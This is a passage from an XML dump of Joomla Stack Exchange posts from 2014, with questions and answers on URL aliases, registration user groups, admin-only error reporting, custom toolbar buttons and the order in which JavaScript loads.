    (&#xA;            [group] =&amp;gt; Gantry&#xA;            [size] =&amp;gt; 332.58&#xA;            [count] =&amp;gt; 5&#xA;        )&#xA;&#xA;    [GantryLess] =&amp;gt; JCacheStorageHelper Object&#xA;        (&#xA;            [group] =&amp;gt; GantryLess&#xA;            [size] =&amp;gt; 354.04&#xA;            [count] =&amp;gt; 9&#xA;        )&#xA;&#xA;    [myplugin] =&amp;gt; JCacheStorageHelper Object&#xA;        (&#xA;            [group] =&amp;gt; myplugin&#xA;            [size] =&amp;gt; 0.09&#xA;            [count] =&amp;gt; 2&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-09T15:30:55.400" LastActivityDate="2014-11-09T15:30:55.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5136" PostTypeId="2" ParentId="3576" CreationDate="2014-11-09T20:47:19.667" Score="2" Body="&lt;p&gt;&lt;strong&gt;Current status:&lt;/strong&gt; proof of concept, not publicly released.&lt;/p&gt;&#xA;&lt;h1&gt;History&lt;/h1&gt;&#xA;&lt;p&gt;I started working on my own solution, with the temporary name of &lt;em&gt;&lt;strong&gt;gitcms&lt;/strong&gt;&lt;/em&gt;. Here is the architecture in a nutshell:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AEXlN.png&quot; alt=&quot;gitcms architecture&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is how it works:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Github repository&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Each time a commit is pushed the repository, and event will be triggered. It is possible to catch this event using a webhook which basically allows to send some meta data in JSON format to an address for further processing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;gitcms&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Implemented as a middleware solution, it is not CMS specific. It receives the push event from github, figures out what files changed, fetches the files from github in raw format and converts them to HTML. After the conversion is done, it sends a message to the registered Adapter(s).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Adapter&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is build CMS specific and can interpret the message from the middleware. In the end it needs to create, update and delete articles.&lt;/p&gt;&#xA;&lt;h1&gt;Pending issues&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to deal with images or any other media files.&lt;/li&gt;&#xA;&lt;li&gt;Calls are synchronously, consider decoupling using messages queues.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-09T20:47:19.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5137" PostTypeId="1" CreationDate="2014-11-10T04:56:11.537" Score="1" ViewCount="190" Body="&lt;p&gt;In a joomla website I have a category and its 2 different subcategories like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;News&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;__Subcategory1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;__Subcategory2  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;__Subcategory2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My news catagory used News Show Pro GK4 ver. 3.3.6 plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I added a articles to a subcategory the url is like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/news/Subcategory1/article1.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I added a articles to the main category the url is like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/news/menuid-news/article1.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the urls like www.mysite.com/news/article1.html for all articles in catagories and subcatagories ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me........&lt;/p&gt;&#xA;" OwnerUserId="2168" LastActivityDate="2014-11-10T17:55:25.967" Title="How to make article alias of subcategories as 1 level?" Tags="|joomla-2.5|alias|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5138" PostTypeId="1" CreationDate="2014-11-10T06:06:39.217" Score="3" ViewCount="472" Body="&lt;p&gt;When I registered in my site a name, username and email and then after that it was redirected to the page I wanted but my problem is the user_usergroup_map table set a group_id=9 after registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me where this happenning and can I changed the value of 9 to 2 upon registration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2169" LastEditorUserId="126" LastEditDate="2016-01-22T00:19:08.833" LastActivityDate="2016-01-22T00:19:08.833" Title="Joomla 3 user_usergroup_map table set a group_id=9 after registration" Tags="|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5139" PostTypeId="2" ParentId="5138" CreationDate="2014-11-10T06:24:55.817" Score="3" Body="&lt;p&gt;From the dropdown menu in the admin side of your website, go to Users -&gt; User Manager. Then in the upper right, click &quot;Options&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the first few items in the options list should be &quot;New User Registration Group&quot;, which you can adjust to be the user group that you want new users to be added to.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-11-10T06:24:55.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5140" PostTypeId="1" CreationDate="2014-11-10T08:27:21.093" Score="1" ViewCount="161" Body="&lt;p&gt;Does anybody know that how can I enable a product detail page available to all public and registered users  where the virtue mart component is accesable to only registered users. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="2170" LastActivityDate="2014-11-12T16:50:26.343" Title="Making Virtuemart product detail page accessible to public user" Tags="|joomla-3.x|acl|virtuemart|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5141" PostTypeId="1" AcceptedAnswerId="5142" CreationDate="2014-11-10T10:37:20.007" Score="0" ViewCount="1127" Body="&lt;p&gt;I got a call from a client about an issue with xMap component on Joomla 3.3.6. The client wanted to create a menu item for each sitemap, but he was not able to select the desired sitemap from the modal window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting error_reporting on, the modal displays this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method JDate::toFormat() in&#xA;  /home/myaccount/public_html/administrator/components/com_xmap/views/sitemaps/tmpl/modal.php&#xA;  on line 110&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to fix this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-10T10:42:11.700" Title="Xmap - Can't select sitemap on menu item creation. JDate::toFormat fatal error" Tags="|joomla-3.3.x|bugs|xmap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5142" PostTypeId="2" ParentId="5141" CreationDate="2014-11-10T10:37:32.840" Score="0" Body="&lt;p&gt;The &lt;code&gt;JDate::toFormat()&lt;/code&gt; method is deprecated in recent Joomla 3 versions.&#xA;Current method is &lt;code&gt;JDate::format()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you need to edit the XMap's modal.php template file, that is located in &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/administrator/components/com_xmap/views/sitemaps/tmpl/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then around line 110 replace the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$xmlDate = $date-&amp;gt;toFormat('%Y-%m-%d %H:%M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$xmlDate = $date-&amp;gt;format('%Y-%m-%d %H:%M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully the developer will fix this bug with a future release.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="168" LastEditDate="2014-11-10T10:42:11.700" LastActivityDate="2014-11-10T10:42:11.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5143" PostTypeId="1" AcceptedAnswerId="5144" CreationDate="2014-11-10T10:46:58.130" Score="5" ViewCount="1174" Body="&lt;p&gt;There are many times that I need to debug issues on the administration area of Joomla and need to do so on the live site. But I don't want to enable error_reporting also for the front-end.&#xA;Is there anyway to enable error_reporting only for the admin ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-10T16:34:58.827" Title="How to enable error_reporting only for administrator?" Tags="|administrator|error-handling|error-reporting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5144" PostTypeId="2" ParentId="5143" CreationDate="2014-11-10T10:49:17.887" Score="3" Body="&lt;p&gt;My most convenient trick I use in this case, is by creating a temporary hack on the framework.php file, inside the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/administrator/includes/ directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The error reporting for the admin is handled in framework.php ~line 52.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set the error_reporting&#xA;switch ($config-&amp;gt;error_reporting)&#xA;{&#xA;    case 'default':&#xA;    case '-1':&#xA;        break;&#xA;&#xA;    case 'none':&#xA;    case '0':&#xA;        error_reporting(0);&#xA;&#xA;        break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make the following changes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set the error_reporting&#xA;switch ($config-&amp;gt;error_reporting)&#xA;{&#xA;    case 'default':&#xA;    case '-1':&#xA;        break;&#xA;&#xA;    case 'none':&#xA;    case '0':&#xA;        error_reporting(E_ERROR | E_WARNING | E_PARSE);&#xA;        ini_set('display_errors', 1);&#xA;        //error_reporting(0);&#xA;&#xA;        break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After debug is done, I revert back these changes.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-10T10:49:17.887" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5145" PostTypeId="2" ParentId="5143" CreationDate="2014-11-10T12:13:48.570" Score="3" Body="&lt;p&gt;You can add an .htaccess file into administrator directory with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_flag display_errors on&#xA;php_value error_reporting &amp;lt;integer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://stackoverflow.com/questions/6127980/enabling-error-display-in-php-via-htaccess-only&quot;&gt;https://stackoverflow.com/questions/6127980/enabling-error-display-in-php-via-htaccess-only&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-11-10T12:13:48.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5146" PostTypeId="2" ParentId="5143" CreationDate="2014-11-10T12:24:07.560" Score="6" Body="&lt;p&gt;Try this small Plugin from Viktor Vogel. This plugin gives the possibility to control the reporting per user group. Big advantage of this is, that you don't need to hack core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomla-extensions.kubik-rubik.de/eer-easy-error-reporting&quot; rel=&quot;noreferrer&quot;&gt;http://joomla-extensions.kubik-rubik.de/eer-easy-error-reporting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-11-10T16:34:58.827" LastActivityDate="2014-11-10T16:34:58.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5147" PostTypeId="1" AcceptedAnswerId="5157" CreationDate="2014-11-10T12:37:45.917" Score="12" ViewCount="4612" Body="&lt;p&gt;Is it possible to add a custom button (with a custom action, of course) to the JToolbar of a standard Joomla 3 component (com_contents) &lt;strong&gt;without&lt;/strong&gt; modifying the original source code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: I need to add a button to the &lt;code&gt;com_contents&lt;/code&gt; main screen (the list of all the articles) to create a massive mail function. I can, of course, modify the standard Joomla files, but if I modify it, when I upgrade Joomla to a new version I'll lose my customization. But, if somehow I can add the button, I won't lose any change when updating...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it's possible to do this, how can it be done? Creating a plugin? Is there any tutorial to guide me thru the creation of this addon?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastEditorUserId="159" LastEditDate="2014-11-10T18:21:42.180" LastActivityDate="2014-11-10T19:09:46.213" Title="Add a custom button to a core backend component" Tags="|joomla-3.x|component|development|plugin|recommended-practices|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5148" PostTypeId="2" ParentId="5147" CreationDate="2014-11-10T13:40:42.110" Score="5" Body="&lt;p&gt;Working in an external way, you can create an &lt;strong&gt;Administrator module&lt;/strong&gt;, an &lt;strong&gt;editors-xtd plug-in&lt;/strong&gt;, or a &lt;strong&gt;system plugin&lt;/strong&gt;. In both cases, when your code is executed, you can add some Javascript code to inject the button in the required location.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Administrator module&lt;/strong&gt;, it is going to be shown in a position, for instance &lt;em&gt;menu&lt;/em&gt;. It can add anything to all pages.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;editors-xtd plug-in&lt;/strong&gt;, it is going to be shown only as a button under the text editor. It can open a full view from your component.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;system plugin&lt;/strong&gt;, it can do anything, but it does not have an User Interface by itself, like the previous cases.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-10T13:40:42.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5149" PostTypeId="2" ParentId="5138" CreationDate="2014-11-10T13:57:32.180" Score="0" Body="&lt;p&gt;I found the solution make sure your $_POST are have $_POST[&quot;groups&quot;] = array(2); 2 is the value of Registered&lt;/p&gt;&#xA;" OwnerUserId="2169" LastActivityDate="2014-11-10T13:57:32.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5150" PostTypeId="1" CreationDate="2014-11-10T14:01:12.220" Score="2" ViewCount="1046" Body="&lt;p&gt;I am getting the following error message on my Joomla 3 site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method UsersController::setSubject() &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;JMail::sendMail&lt;/code&gt; before I used &lt;code&gt;JUtility::sendMail&lt;/code&gt; in version 1.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2169" LastEditorUserId="159" LastEditDate="2014-11-10T18:20:26.250" LastActivityDate="2014-11-10T18:20:26.250" Title="Fatal error: Call to undefined method UsersController::setSubject()" Tags="|joomla-3.x|jmail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5151" PostTypeId="2" ParentId="5150" CreationDate="2014-11-10T14:06:44.850" Score="3" Body="&lt;p&gt;&lt;code&gt;setSubject()&lt;/code&gt; is a function that belongs to the &lt;code&gt;JMail&lt;/code&gt; class, &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;UsersController&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming you want to set the subject for your email, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;setSubject('Subject Here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on Joomla's mail feature, have a read of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Sending_email_from_extensions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-10T14:06:44.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5152" PostTypeId="1" CreationDate="2014-11-10T14:08:13.387" Score="2" ViewCount="1024" Body="&lt;p&gt;I have written my own template and some part of the  content is as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&#xA;// Add Stylesheets&#xA;JHtmlBootstrap::loadCss();&#xA;// Load optional rtl Bootstrap css and Bootstrap bugfixes&#xA;JHtmlBootstrap::loadCss($includeMaincss = false, $this-&amp;gt;direction);&#xA;&#xA;?&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a specific file I need to load two javascript files which need jQuery. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScript('js/jquery.uitablefilter.js');&#xA;$document-&amp;gt;addScript('js/filterTable.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Eventhough they are loaded before jQuery. there many questions about this problem and many answers as well but it stills loads javascripts before jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know what the reason is and how to overcome. &lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2014-11-10T21:40:16.090" Title="Changing order of javascripts on load" Tags="|javascript|jdocument|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5153" PostTypeId="2" ParentId="5152" CreationDate="2014-11-10T14:12:55.243" Score="0" Body="&lt;p&gt;Have you considered trying the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&amp;lt;script src=&quot;js/jquery.uitablefilter.js&quot; /&amp;gt;&#xA;&amp;lt;script src=&quot;js/filterTable.js&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-10T14:12:55.243" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5156" PostTypeId="2" ParentId="5137" CreationDate="2014-11-10T17:55:25.967" Score="4" Body="&lt;p&gt;The only way I know to remove menu or category IDs from the urls is to either override the router system (not fun) or use a SEF component like sh404Sef (there a several others, I just used this one as an example). It lets you fully control the alias/urls for everything in your site.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-11-10T17:55:25.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5157" PostTypeId="2" ParentId="5147" CreationDate="2014-11-10T19:09:46.213" Score="11" Body="&lt;p&gt;Here is a draft idea using a plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create a &lt;strong&gt;system plugin&lt;/strong&gt; (I am not getting into that) and to use the event &lt;code&gt;onBeforeRender&lt;/code&gt;. Inside you get an instance of your Toolbar and append the button. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemCustomtoolbar extends JPlugin&#xA;{&#xA;    public function onBeforeRender()&#xA;    {&#xA;        // Get the application object&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // Run in backend&#xA;        if ($app-&amp;gt;isAdmin() === true)&#xA;        {&#xA;            // Get the input object&#xA;            $input = $app-&amp;gt;input;&#xA;&#xA;            // Append button just on Articles&#xA;            if ($input-&amp;gt;getCmd('option') === 'com_content' &amp;amp;&amp;amp; $input-&amp;gt;getCmd('view', 'articles') === 'articles')&#xA;            {&#xA;                // Get an instance of the Toolbar&#xA;                $toolbar = JToolbar::getInstance('toolbar');&#xA;&#xA;                // Add your custom button here&#xA;                $url = JRoute::_('index.php?option=com_example&amp;amp;task=massemail&amp;amp;format=raw');&#xA;                $toolbar-&amp;gt;appendButton('Link', 'export', 'Mass Email', $url);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-10T19:09:46.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5158" PostTypeId="1" AcceptedAnswerId="5160" CreationDate="2014-11-10T19:18:18.583" Score="3" ViewCount="161" Body="&lt;p&gt;By default, Joomla will insure that a username and email is not already in use.  I need to extend that to insure that the user provides a first name and last name (and is unique).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this...I've explored using onUserBeforeSave in a user plugin, but this strikes me to be too late in the process.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-11T14:14:50.367" Title="How can I validate a new users Name (not username)" Tags="|development|user|registration|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5159" PostTypeId="2" ParentId="5152" CreationDate="2014-11-10T19:34:18.247" Score="1" Body="&lt;p&gt;You have to (pre)-load the frameworks and your own JavaScript files in the right order in your extensions. The template is too late and nothing is loaded by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for a module's tmpl file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.framework'); // alternative only JQuery JHtml::_('jquery.framework');&#xA;&#xA;JHtml::script('mod_yourmodule/yourmodule.js', false, true, false, false, false);&#xA;&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScriptDeclaration('&#xA;    jQuery( document ).ready(function(){&#xA;        alert(\'I am an alert box!\');&#xA;    });&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="1520" LastEditDate="2014-11-10T21:40:16.090" LastActivityDate="2014-11-10T21:40:16.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5160" PostTypeId="2" ParentId="5158" CreationDate="2014-11-10T19:58:04.603" Score="3" Body="&lt;p&gt;Well, this solution doesn't sit well with me, but it does work using the user plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserBeforeSave($oldUser, $isnew, $newUser) {&#xA;    if($test == 'fails') {&#xA;        $error = ' First and Last Name must be specified';&#xA;        throw new Exception($error);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-11T14:14:50.367" LastActivityDate="2014-11-11T14:14:50.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5161" PostTypeId="1" AcceptedAnswerId="5165" CreationDate="2014-11-10T21:36:20.620" Score="4" ViewCount="52" Body="&lt;p&gt;I'm working on a tricky User plugin that needs to do certain things only if being called from a 3rd party component. I could check the option in the url, but I need to consider that the user may be added by way of a 3rd party using MVC and and the model directly, not necessarily with a link FOR that 3rd party component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to determine this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Ancient problem, but was still haunting me, so if of any interest to anyone, I created a Logging class that can track where updates of this nature are done, and save the data and parameters involved for later review.  Its freely available at &lt;a href=&quot;https://github.com/Joomla-StackExchange/glogger&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSE Github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-11-30T20:11:54.367" LastActivityDate="2016-11-30T20:11:54.367" Title="How can I determine which component is creating a new user?" Tags="|development|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5162" PostTypeId="2" ParentId="5161" CreationDate="2014-11-10T23:23:13.647" Score="1" Body="&lt;p&gt;I suppose you could try using the &lt;code&gt;onUserAfterSave&lt;/code&gt; (&lt;a href=&quot;http://docs.joomla.org/Plugin/Events/User#onUserAfterSave&quot; rel=&quot;nofollow&quot;&gt;Documentation Ref&lt;/a&gt;) plugin event that will get triggered when a user record is update or when a new user is added. With this plugin event comes the &lt;code&gt;$isnew&lt;/code&gt; boolean argument. &lt;code&gt;true&lt;/code&gt; is when a new record is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-10T23:23:13.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5163" PostTypeId="1" CreationDate="2014-11-11T02:16:30.273" Score="2" ViewCount="370" Body="&lt;p&gt;I'm building a custom component, and on initial install on Joomla 3.3.6 it installs properly. However, when I install again, rather than running the update sql only from the current version+, it apparently is executing ALL the update sql files from the very beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;jos_extensions&lt;/code&gt; table, my component's &lt;code&gt;manifest_cache&lt;/code&gt; show the version at &lt;code&gt;&quot;version&quot;:&quot;3.3.2&quot;&lt;/code&gt;-- this &lt;em&gt;should&lt;/em&gt; mean that only sql update files 3.3.2+ should execute on upgrade. However, every update is being executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of a reason why this is happening? &#xA;Thanks for any ideas.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="126" LastEditDate="2016-01-22T00:18:28.690" LastActivityDate="2016-01-22T00:18:28.690" Title="Old update sqls being run on update" Tags="|joomla-3.3.x|update|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5164" PostTypeId="2" ParentId="5163" CreationDate="2014-11-11T09:34:35.147" Score="1" Body="&lt;p&gt;As I don't have any reputation ;) a comment:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have to check the xyz_schemas table for latest sql update version. With extension id no.&lt;/li&gt;&#xA;&lt;li&gt;Do you use method=&quot;upgrade&quot; in the xml manifest?&lt;/li&gt;&#xA;&lt;li&gt;A more common problem is that the sql updates are &lt;strong&gt;not&lt;/strong&gt; run if an initial (empty) sql update version was missing at the installation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-11-11T09:34:35.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5165" PostTypeId="2" ParentId="5161" CreationDate="2014-11-11T10:29:34.293" Score="1" Body="&lt;p&gt;You can check the &lt;code&gt;Itemid&lt;/code&gt; in the url. If there is no &lt;code&gt;Itemid&lt;/code&gt;, you should create at least a hidden menu item for the 3rd party registration page. The &lt;code&gt;Itemid&lt;/code&gt; of the menu can be obtained manually (admin area -&gt; menu):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMbtZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or by some codes inside your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$item_id = $app-&amp;gt;input-&amp;gt;get('Itemid');&#xA;&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$items = $menu-&amp;gt;getItems('component', 'com_3rd_party');&#xA;&#xA;foreach ($items as $item)&#xA;{&#xA;    if ($item-&amp;gt;id == $item_id)&#xA;    {&#xA;        echo 'This is 3rd party!';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-11-11T10:29:34.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5166" PostTypeId="1" CreationDate="2014-11-11T13:56:13.590" Score="4" ViewCount="1281" Body="&lt;p&gt;I'm trying to modify the Joomla menu module, so that I can put divider images between every list item. &#xA;The thing is, that I don't want these to appear in the sub-menu's. How can I filter out what is in a sub menu and what is not? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I want it to be like, echo it if it's in the main menu only, not in the sub menu's that appear as a list underneath it. Because when I filter it on &quot;deeper&quot;, it only filters it on 1 specific item, and then keeps placing it underneath the other submenu items. &lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="126" LastEditDate="2016-01-22T00:17:49.907" LastActivityDate="2016-01-22T00:17:49.907" Title="How to put divider images between menu items" Tags="|joomla-2.5|module|menu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
